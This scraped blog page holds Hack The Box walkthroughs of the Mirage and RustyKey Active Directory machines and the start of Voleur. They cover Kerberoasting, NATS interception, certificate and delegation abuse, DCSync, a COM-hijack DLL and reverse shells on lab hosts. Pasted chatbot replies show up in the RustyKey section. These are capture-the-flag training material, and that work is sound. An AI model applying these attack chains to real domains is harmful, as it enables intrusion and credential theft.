❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Hack The Box: Mirage Machine Walkthrough – Hard Difficulity

By: darknite
22 November 2025 at 09:58
Reading Time: 13 minutes

Introduction to Mirage:

In this writeup, we will explore the β€œMirage” machine from Hack The Box, categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œMirage” machine from Hack The Box by achieving the following objectives:

User Flag:

We kicked off with NFS, SMB, and Kerberos enumeration, mounted the open MirageReports share, and grabbed two internal PDFs. One revealed the missing hostname nats-svc.mirage.htb. We hijacked DNS with DNSadder.py, funneled all NATS traffic through our proxy, and snatched JetStream auth_logs messages β€” yielding valid credentials for david.jjackson. After syncing our clock with the DC, we scored a TGT, fired up Evil-WinRM, and landed on the domain controller as david.jjackson to claim the user flag.

Root Flag:

We started with david.jjackson’s ticket, and then kerberoasted nathan.aadam. After cracking his password, we gained his shell and subsequently discovered mark.bbond’s credentials. From there, we also retrieved the Mirage-Service$ managed password. With these pieces, we used Certipy to forge a DC01$ certificate, and as a result, we configured RBCD so mark.bbond could impersonate the domain controller. Once that was in place, we executed DCSync to dump all domain hashes, including Administrator. Finally, we obtained an Admin TGT and used Evil‑WinRM to open a shell as Administrator, which ultimately allowed us to claim the root flag.

Enumerating the Mirage Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.78 

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/mirage]
└──╼ $nmap -sC -sV -oA initial 10.10.11.78 
Nmap scan report for 10.10.11.78
Host is up (0.15s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-20 20:52:31Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -22m05s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-11-20T20:53:32
|_  start_date: N/A

Analysis:

  • Port 53 (DNS) – Provides internal domain resolution. Useful for discovering hostnames and performing zone transfers if misconfigured.
  • β€’ Port 88 (Kerberos) – Active Directory authentication endpoint. Key for attacks like Kerberoasting or AS‑REP roasting.
  • β€’ Ports 111 & 2049 (NFS) – NFS running on a Windows DC is unusual. Could allow unauthenticated mounts or expose readable files.
  • β€’ Ports 135 / 139 / 445 (MSRPC / SMB) – Standard Windows services. SMB signing is enforced, which prevents NTLM relay attacks.
  • β€’ Ports 389 / 636 / 3268 / 3269 (LDAP / Global Catalog) – Full AD environment. LDAP enumeration is possible if permissions are misconfigured.
  • β€’ Port 464 (kpasswd) – Kerberos password change service. Can provide insights for password‑spray attempts.
  • β€’ Port 593 (RPC over HTTP) – RPC over HTTP interface. Typically used for Outlook Anywhere or AD RPC proxying.

Server Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

We scanned SMB and saw the service up, but mirage.htb blocked all NTLM logins (even dark:dark failed with STATUS_NOT_SUPPORTED). Kerberos only from now on.

We added the domain/realm to /etc/krb5.conf and used -k flags everywhere β€” no more passwords over the wire.

NFS Share Enumeration and Mounting Process on Mirage machine

The showmount -e mirage.htb command reveals that the target is exporting an NFS share named /MirageReports, and it is accessible to everyone. This means the share does not enforce host-based restrictions, allowing any machine to mount it. Since the export is world-accessible, it’s likely a good entry point for enumeration, as you can mount the share locally and inspect its contents for sensitive files, misconfigurations, or clues leading to further access.

The mount attempt failed because the local path /mnt/mirage doesn’t exist on our machine. NFS requires a valid directory to mount a remote share, so before accessing the exported /MirageReports share, we need to create a local mount point.

Creating the directory with mkdir -p /mnt/mirage resolves the issue, allowing us to mount the share and begin enumerating its contents.

The β€œfailed to apply fstab options” error usually comes from stale mount settings or syntax issues. Just rerun the command cleanly or add -o vers=3,nolock – it fixes the problem in HTB.

We corrected the syntax (added -o vers=3,nolock when needed) and re-ran mount -t nfs mirage.htb:/MirageReports /mnt/mirage. The share mounted perfectly and gave us full access to the internal reports.

After mounting the NFS share, ls reveals two PDFs: Incident_Report_Missing_DNS_Record_nats-svc.pdf and Mirage_Authentication_Hardening_Report.pdf. These internal reports likely expose misconfigurations and are key for further enumeration.

This command copies all files from the mounted NFS share at /mnt/mirage into your current working directory using elevated privileges. It allows you to analyze the documents locally without needing to stay connected to the NFS share.

Discovery and Analysis of Internal Reports

After copying, the files should now be available in your current working directory for further analysis.

Reviewing the Incident_Report_Missing_DNS_Record_nats-svc.pdf file revealed an additional hostname: nats-svc.mirage.htb.

Exploiting Missing DNS Entry for NATS Interception on Mirage Machine

The Incident Report showed nats-svc.mirage.htb missing from DNS β†’ internal clients failed to resolve it. We fired up DNSadder.py, added a fake record to our proxy, and hijacked all NATS traffic β†’ full MITM on auth and JetStream (including auth_logs).

Enumerating and Interacting With NATS JetStream

NATS is a messaging system that helps different parts of a company’s software talk to each other. Instead of applications connecting directly, they send messages through NATS, which delivers them quickly and reliably.

To install the NATS command‑line interface on Parrot OS, you can use the Go toolchain included in the system. Simply run the command go install github.com/nats-io/natscli/nats@latest, which downloads and compiles the latest version of the NATS CLI and places it in your Go binaries directory for use.

To verify that the NATS CLI installed correctly, simply run the nats command in your terminal. If the installation was successful, it should display the available subcommands and usage information, confirming that the tool is ready to use.

Checking the auth_logs Stream

nats stream info auth_logs showed a small stream (max 100 messages) on subject logs.auth that currently held 5 messages β€” perfect for grabbing credentials.

Creating a Pull Consumer

We created a pull consumer named whare1 on the auth_logs stream using Dev_Account_A credentials. It fetches messages one-by-one with explicit acknowledgment, allowing us to retrieve all five stored authentication logs.

Grabbing the Credentials

We fetched the five messages from the auth_logs stream using our whare1 consumer. Every message (subject logs.auth) contained the same authentication event:

  • Username: david.jjackson
  • Password: pN8kQmn6b86!1234@
  • Source IP: 10.10.10.20

All messages were acknowledged and consumed successfully, confirming we now have valid domain credentials.

Extracting Credentials and Kerberos Ticket Operations

The leaked david.jjackson:pN8kQmn6b86!1234@ credentials let us request a Kerberos TGT with impacket-getTGT. The first try failed due to clock skew; after sudo ntpdate -s 10.10.11.78, the second attempt succeeded and saved david.jjackson.ccache

Initial Foothold – david.jjackson Access on Mirage Machine

After syncing time with sudo ntpdate -s 10.10.11.78, the second impacket-getTGT run succeeded and gave us a valid TGT.

This command sets the KRB5CCNAME environment variable to use the david.jjackson.ccache file as the active Kerberos ticket. It tells all Kerberos‑aware tools to use this ticket automatically for authentication instead of a password.

Try running the command again if it doesn’t work on the first attempt.

Lateral Movement Using Cracked SPN Credentials

With david.jjackson’s ticket, we ran impacket-GetUserSPNs -k -no-pass and discovered a crackable Kerberos service ticket ($krb5tgs$23$) for the SPN HTTP/exchange.mirage.htb, belonging to the high-privileged user nathan.aadam (member of Exchange_Admins group).

Cracking the TGS β†’ Password: 3edc#EDC3

We cracked the TGS hash using John and the RockYou wordlist, recovering the password 3edc#EDC3 for nathan.aadam β€” a weak credential that immediately granted us access to this Exchange Admins group member.

BloodHound Collection and Domain Enumeration on Mirage machine

As nathan.aadam, we ran BloodHound and dumped the entire Active Directory structure for privilege escalation path hunting.

Mark.bbond is a member of the IT Support group, and he has the ForceChangePassword privilege over the user javier.mmarshall.

Javier.mmarshall has ReadGMSAPassword permission on the account Mirage-Service$.

nxc smb dc01.mirage.htb with nathan.aadam initially failed due to clock skew (krb_ap_err_skew). After syncing time again (ntpdate -s 10.10.11.78), authentication succeeded cleanly.

Same clock skew issue hit nxc smb. After ntpdate -s 10.10.11.78, it worked instantly and confirmed valid access as nathan.aadam : 3edc#EDC3 on the DC.

We used the cracked password 3edc#EDC3 to obtain a Kerberos TGT for nathan.aadam (impacket-getTGT). The ticket was saved as nathan.aadam.ccache, giving us full Kerberos access for the next steps

Accessing the DC as nathan.aadam

Connected instantly as nathan.aadam β†’ full PowerShell access on the Domain Controller.

Grabbing the User Flag

We can read the user flag by typing the β€œtype user.txt” command

Escalate to Root Privileges Access on Mirage Machine

Privilege Escalation Attempts and LogonHours Analysis

A screen shot of a computer

AI-generated content may be incorrect.

We checked AD LogonHours. javier.mmarshall had all zeroes β†’ account completely locked out (can’t log in anytime). This hinted the account was disabled but still present for potential abuse.

A screen shot of a computer

AI-generated content may be incorrect.

No default password was detected.

You can transfer the WinPEAS executable to the compromised host by running the upload command inside your Evil‑WinRM session. This pushes the file from your attack machine directly into the victim’s system, allowing you to execute it afterwards for privilege‑escalation enumeration.

No usable credentials were identified.

This command verifies SMB access on dc01.mirage.htb using Kerberos authentication with the mark.bbond credentials. The scan shows the host details and confirms a successful login, indicating that the provided password is valid and SMB authentication for this account works correctly.

The command requests a Kerberos TGT for the user MARK.BBOND using the discovered password 1day@atime. By specifying the domain controller IP, the tool authenticates against the DC and generates a valid ticket. Once successful, the resulting Kerberos ticket is saved locally as MARK.BBOND.ccache for use in later Kerberos‑based operations.

Password Resets, Kerberos Tickets, and Service Account Abuse

A password reset for the account javier.mmarshall was performed using bloodyAD. By authenticating as mark.bbond with Kerberos (-k) and supplying valid domain credentials, the command successfully updated the user’s password to p@ssw0rd123, confirming the operation completed without issues.

Attempting to obtain a TGT for the account javier.mmarshall with impacket-getTGT results in a KDC_ERR_CLIENT_REVOKED error. This indicates the credentials are no longer valid because the account has been disabled or otherwise revoked in Active Directory, preventing any Kerberos authentication from succeeding.

Enabling javier.mmarshall (disabled account)

By running the command shown above, the password update completed successfully.

A screenshot of a computer screen

AI-generated content may be incorrect.

As mark.bbond, we used BloodyAD to read the msDS-ManagedPassword attribute of the Mirage-Service$ managed service account and instantly retrieved its current plaintext password + NTLM hash.

We used Impacket to request a Kerberos TGT for Mirage-Service$ with its leaked NTLM hash (pass-the-hash). This gave us a valid ticket without ever needing the plaintext password.

We asked the domain CA for a certificate using mark.bbond (now pretending to be dc01$). The CA accepted it and gave us a shiny dc01.pfx file that lets us log in as the real domain controller machine account.

After exporting the Kerberos ticket with export KRB5CCNAME=mark.bbond.ccache, a certificate request is made using Certipy


We requested a certificate for mark.bbond (UPN = dc01$@mirage.htb). The CA issued it without issues β†’ dc01.pfx ready for authentication as the DC machine account.

We cleaned up by resetting mark.bbond’s UPN back to mark.bbond@mirage.htb with Certipy – leaving no obvious traces.

Certificate Abuse and Resource-Based Constrained Delegation (RBCD)

With the dc01.pfx certificate, Certipy authenticated us over LDAPS as MIRAGE\DC01$ – we now had full LDAP control as the domain controller itself.

We used Certipy to grant mark.bbond Resource-Based Constrained Delegation over DC01$ – now mark.bbond can impersonate anyone (including Administrator) to the domain controller.

As mark.bbond, we ran impacket-getST to impersonate DC01$ and request a CIFS ticket for the real DC. Delegation succeeded β†’ valid ticket saved.

The Kerberos ticket was set as the active credential cache by exporting it to the KRB5CCNAME environment variable:

export KRB5CCNAME=DC01$@<a>CIFS_dc01.mirage.htb@MIRAGE.HTB.ccache</a>

With the delegated CIFS ticket, we executed impacket-secretdump -k dc01.mirage.htb and successfully dumped the entire NTDS.DIT β€” every user and machine hash, including Administrator’s, was now ours.

The impacket-getTGT command was executed using the Administrator NTLM hash to request a Kerberos TGT from the Mirage domain controller. The request completed successfully, and the resulting ticket was saved locally as Administrator.ccache.

The evil-winrm command was used to connect to dc01.mirage.htb with Kerberos authentication. Evil‑WinRM initialized successfully, displaying standard warnings about Ruby’s path‑completion limitations and noting that the provided username is unnecessary when a Kerberos ticket is already available. The session then proceeded to establish a connection with the remote host.

We can read the root flag by typing the β€œtype root.txt” command

The post Hack The Box: Mirage Machine Walkthrough – Hard Difficulity appeared first on Threatninja.net.

Hack The Box: RustyKey Machine Walkthrough – Hard Difficulity

By: darknite
8 November 2025 at 09:58
Reading Time: 11 minutes

Introduction to RustyKey:

In this writeup, we will explore the β€œRustyKey” machine from Hack The Box, categorized as an Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œRustyKey” machine from Hack The Box by achieving the following objectives:

User Flag:

Authenticated to the domain as bb.morgan (password P@ssw0rd123) after exploiting Kerberos flows and time sync. You obtained a Kerberos TGT (bb.morgan.ccache), exported it via KRB5CCNAME, and used evil‑winrm to open an interactive shell on dc.rustykey.htb.

Root Flag:

Escalation to SYSTEM was achieved by abusing machine and delegation privileges. Using the IT‑COMPUTER3$ machine account you modified AD protections and reset ee.reed’s password, then performed S4U2Self/S4U2Proxy to impersonate backupadmin and saved backupadmin.ccache. With that ticket, you used Impacket to upload and run a service payload and spawned a SYSTEM shell.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV 10.10.11.75 -oA initial

Nmap Output:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 13:48:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

Analysis:

  • 53/tcp (DNS – Simple DNS Plus): DNS service is running, likely handling domain name resolution for the internal Active Directory environment.
  • 88/tcp (Kerberos-sec): Kerberos authentication service for Active Directory domain rustykey.htb0. Useful for ticket-based authentication attacks such as AS-REP roasting or Kerberoasting.
  • 135/tcp (MSRPC): Microsoft RPC endpoint mapper. Commonly used for remote management and DCOM-based communication.
  • 139/tcp (NetBIOS-SSN): NetBIOS session service β€” supports SMB over NetBIOS; can reveal shares or host information.
  • 389/tcp (LDAP): Lightweight Directory Access Protocol for Active Directory. Likely allows domain information queries; potential for anonymous LDAP enumeration.
  • 445/tcp (Microsoft-DS): SMB over TCP for file sharing and remote service operations; often used for lateral movement or enumeration (e.g., SMB shares, users, policies).
  • 464/tcp (kpasswd5): Kerberos password change service; might be used for password reset operations.
  • 593/tcp (ncacn_http): Microsoft RPC over HTTP β€” commonly used for Outlook Anywhere and DCOM-based communication.
  • 636/tcp (LDAPS): LDAP over SSL/TLS; encrypted directory service communications.
  • 3268/tcp (Global Catalog – LDAP): LDAP global catalog port for multi-domain queries in Active Directory.
  • 3269/tcp (Global Catalog over SSL): Secure LDAP global catalog service.

Server Enumeration:

Before starting, we need to specify the correct Kerberos realm by creating a krb5.conf file in /etc/krb5.conf and adding the following content above

NXC enumeration

The scans show an Active Directory host (dc.rustykey.htb) with SMB and LDAP/kerberos services; SMB on 10.10.11.75 negotiated x64, signing required, and SMBv1 disabled, while an SMB auth attempt for rr.parker returned STATUS_NOT_SUPPORTED β€” indicating the server rejected the authentication method the client used rather than definitively proving the password is wrong. The LDAP attempt shows KDC_ERR_WRONG_REALM for rustykey.htb\rr.parker, meaning the Kerberos realm in use didn’t match the domain. Likely causes include incorrect credentials, an auth-method mismatch (NTLM vs Kerberos or wrong NTLM dialect), enforced SMB signing, wrong/unspecified Kerberos realm, account restrictions (disabled/locked/password change required), or tool/quoting issues from special characters. Triage by retrying with a domain-qualified username (RUSTYKEY\rr.parker or rr.parker@RUSTYKEY), testing with alternate SMB clients (crackmapexec, smbclient, Impacket), forcing NTLM if needed, validating Kerberos realm and obtaining a TGT, performing LDAP or rpc enumeration to confirm account status, and escaping or simplifying the password to rule out encoding problems.

This time, the error returned is KRB_AP_ERR_SKEW, indicating a time synchronization issue between the client and the server.

Using nxc with Kerberos authentication (-k) and domain rustykey.htb, the SMB service on dc.rustykey.htb was successfully accessed with the credentials rr.parker:8#t5HE8L!W3A. The enumeration revealed an x64 domain controller with SMB signing enabled and SMBv1 disabled. The command listed 11 local users, including Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin, along with their last password set dates and account descriptions. This confirms that rr.parker’s credentials are valid and have sufficient access to query user accounts over SMB. The successful Kerberos-based login also verifies proper realm configuration and time synchronization, allowing secure enumeration of domain users.

Using Kerberos authentication (-k) with the domain rustykey.htb, LDAP enumeration on dc.rustykey.htb successfully authenticated as rr.parker:8#t5HE8L!W3A. The scan enumerated 11 domain users, showing usernames, last password set dates, and account descriptions. Accounts include Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin. This confirms rr.parker’s credentials are valid and have permission to query domain user information over LDAP. The domain controller responded correctly to Kerberos authentication, indicating proper realm configuration and time synchronization.

Impacket successfully requested a TGT from DC 10.10.11.75 for rustykey.htb/rr.parker and saved the Kerberos ticket to rr.parker.ccache.

ChatGPT said:

Set the Kerberos credential cache by exporting KRB5CCNAME=rr.parker.ccache so Kerberos-aware tools use the saved TGT for authentication.

This directs commands like klist, curl –negotiate, and Impacket utilities to the specified ccache.

Bloodhound enumeration

The DNS timeout indicates that the BloodHound collector couldn’t resolve SRV records or reach the domain controller’s DNS. This often happens due to incorrect DNS settings on your Parrot OS machine, firewall restrictions, or reliance on SRV lookups instead of a direct DC IP.

Synchronizing the clock with ntpdate -s 10.10.11.75 resolved the issue. Kerberos authentication requires the client and domain controller clocks to be closely aligned, and a time drift triggers KRB_AP_ERR_SKEW errors. After syncing, the Kerberos TGT became valid, allowing BloodHound to authenticate and enumerate the domain successfully. You can verify the ticket with klist and rerun BloodHound using -k or your ccache. For a persistent solution, consider running a time service like chrony or ntpd, or continue using ntpdate during the engagement.

IT‑COMPUTER3$ added itself to the HelpDesk group.

Execute timeroast.py.

Because the machine requires Kerberos authentication, enumeration attempts return no results. In addition to AS-REP roasting and Kerberoasting, a new technique called timeroast has recently emerged.

The screenshot above shows the hash as clean.

Hashcat was unable to crack the hash.

The main() function sets up and runs the script: it creates an argument parser with two positional inputs (the timeroast hashes file and a password dictionary opened with latin-1 encoding), parses those arguments, then calls try_crack to iterate through dictionary candidates and compare them to the parsed hashes. For each match it prints a β€œ[+] Cracked RID …” line and increments a counter, and when finished it prints a summary of how many passwords were recovered. The if __name__ == '__main__' guard ensures main() runs only when the script is executed directly.

Running python3 timecrack.py timeroast.txt rockyou.txt recovered one credential: RID 1125 β€” password Rusty88!. Total passwords recovered: 1.

Impacket requested a TGT for the machine account IT-COMPUTER3$ on rustykey.htb and saved the Kerberos ticket to IT-COMPUTER3$.ccache. The Kerberos credential cache was set to IT-COMPUTER3$.ccache by exporting KRB5CCNAME=IT-COMPUTER3\$.ccache, directing Kerberos-aware tools to use this saved TGT for authentication.

Using BloodHound with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, and ran add groupMember HELPDESK IT-COMPUTER3$ β€” the account IT-COMPUTER3$ was successfully added to the HELPDESK group.

Using BloodyAD with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, ran set password for bb.morgan to P@ssw0rd123, and the password was changed successfully.

Impacket attempted to request a TGT for bb.morgan@rustykey.htb, but the KDC rejected it with KDC_ERR_ETYPE_NOSUPP, meaning the Key Distribution Centre does not support the encryption type used.

If you need that permission, remove the protection first β€” bb.morgan.

Ran BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ to remove the account IT from the PROTECTED OBJECTS group, and the tool reported that IT was removed. Using BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ I changed bb.morgan’s password to P@ssw0rd123. I then requested a TGT for bb.morgan with impacket-getTGT and saved the ticket to bb.morgan.ccache

Set KRB5CCNAME to bb.morgan.ccache so Kerberos-aware tools use that credential cache.

If evil-winrm failed, common causes are WinRM not reachable, wrong auth method, or account restrictions. First check connectivity and service: nc -vz 10.10.11.75 5985 (and 5986). Test the WinRM endpoint with curl to see auth behavior:
curl --negotiate -u 'bb.morgan:P@ssw0rd123' http://10.10.11.75:5985/wsman
If you’re using Kerberos, ensure KRB5CCNAME points to the bb.morgan ccache and run evil-winrm with Kerberos (use the tool’s Kerberos flag). If password auth, try: evil-winrm -i 10.10.11.75 -u bb.morgan -p 'P@ssw0rd123'. If that still fails, try an alternate Impacket client (wmiexec.py, psexec.py) to rule out evil-winrm-specific issues. Also verify the account isn’t restricted (must-change-password, disabled, or requires smartcard) and that SMB/WinRM signing/policy isn’t blocking the session. Tell me the exact error if you want targeted troubleshooting.

After synchronising the system clock with rdate, evil-winrm successfully established a session to dc.rustykey.htb using the bb.morgan account in the rustykey.htb domain.

To view the user flag, run type user.txt at the command prompt.

Escalate to Root Privileges Access

Privilege Escalation:

One PDF file stood out and drew my attention.

Download the PDF to our machine.

The message appears to be from bb.morgan to support-team@rustykey.htb, stating the support team will receive elevated registry permissions and temporary elevated rights.
Reviewing BloodHound shows ee.reed is a member of the support-team@rustykey.htb group.

Using the IT‑COMPUTER3$ machine account you removed SUPPORT from the Protected Objects container and reset ee.reed’s password to P@ssword123 β€” actions that demonstrate domain‑level privilege to alter AD protections and control user accounts. With ee.reed’s credentials you can obtain a TGT, export a ccache, and authenticate to domain services (SMB/WinRM/LDAP) to escalate access and pivot further.

This indicates that the SUPPORT group has modify permissions on the registry and can interact with compression and decompression functions.

Requested a TGT for ee.reed@rustykey.htb from DC 10.10.11.75 and saved the Kerberos ticket to ee.reed.ccache.

Evil‑winrm failed to establish a session using ee.reed’s access.

Let’s start the listener.

Upload runascs.exe

Attempt to execute the payload.

Access obtained as ee.reed.

Oddly, the victim machine has 7‑Zip installed.

It’s 7‑Zip version 24.08.

The command reg query "HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers" queries the Windows Registry to list all entries under the ContextMenuHandlers key for all file types (*) in the HKEY_LOCAL_MACHINE\Software\Classes hive.

Query the registry key HKEY_LOCAL_MACHINE\Software\Classes\*\ShellEx\ContextMenuHandlers\7-Zip.

Display the registry key HKLM\SOFTWARE\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}.

Query the registry key HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32.

This PowerShell command retrieves and displays the detailed access permissions (ACL) for the 7-Zip COM object CLSID registry key (HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}), showing which users or groups can read, modify, or take ownership of the key in a clear, list format.

Download the DLL file onto the target machine.

Add or update the default value of HKLM\Software\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}\InprocServer32 to C:\tmp\dark.dll using reg add with the force flag.

Executing rundll32.exe dark.dll, dllmain produces no visible effect.

Obtained a shell as the user mm.turner.

It shows that the SUPPORT group has registry modify permissions and can access compression and decompression functionalities.

Initially, this PowerShell command failed to configure the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property.

This PowerShell command configures the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property, effectively granting that machine account the ability to act on behalf of other accounts for specific services.

Ran Impacket getST for SPN cifs/DC.rustykey.htb while impersonating backupadmin (DC 10.10.11.75) using rustykey.htb/IT-COMPUTER3$:Rusty88!. No existing ccache was found so a TGT was requested, the tool performed S4U2Self and S4U2Proxy flows to impersonate backupadmin, and saved the resulting ticket as backupadmin.ccache. Deprecation warnings about UTC handling were also printed.

Export the Kerberos ticket to a ccache file, then use Impacket’s secretdump to extract the account hashes.

Using the backupadmin Kerberos ticket (no password), Impacket connected to dc.rustykey.htb, discovered a writable ADMIN$ share, uploaded rFPLWAqZ.exe, created and started a service named BqCY, and spawned a shell β€” whoami returned NT AUTHORITY\SYSTEM.

To view the root flag, run type root.txt at the command prompt.

The post Hack The Box: RustyKey Machine Walkthrough – Hard Difficulity appeared first on Threatninja.net.

Hack The Box: Voleur Machinen Walkthrough – Medium Difficulty

By: darknite
1 November 2025 at 10:58
Reading Time: 14 minutes

Introduction to Voleur:

In this write-up, we will explore the β€œVoleur” machine from Hack The Box, categorised as a medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œVoleur” machine from Hack The Box by achieving the following objectives:

User Flag:

I found a password-protected Excel file on an SMB share, cracked it to recover service-account credentials, used those credentials to obtain Kerberos access and log into the victim account, and then opened the user’s Desktop to read user.txt.

Root Flag:

I used recovered service privileges to restore a deleted administrator account, extracted that user’s encrypted credential material, decrypted it to obtain higher-privilege credentials, and used those credentials to access the domain controller and read root.txt.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial -Pn 10.10.11.76

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/voleur]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.76
# Nmap 7.94SVN scan initiated Thu Oct 30 09:26:48 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.76
Nmap scan report for 10.10.11.76
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-30 20:59:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2025-10-30T20:59:25
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h32m19s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 30 09:27:43 2025 -- 1 IP address (1 host up) scanned in 55.54 seconds

Analysis:

  • 53/tcp: DNS (Simple DNS Plus) – domain name resolution
  • 88/tcp: Kerberos – Active Directory authentication service
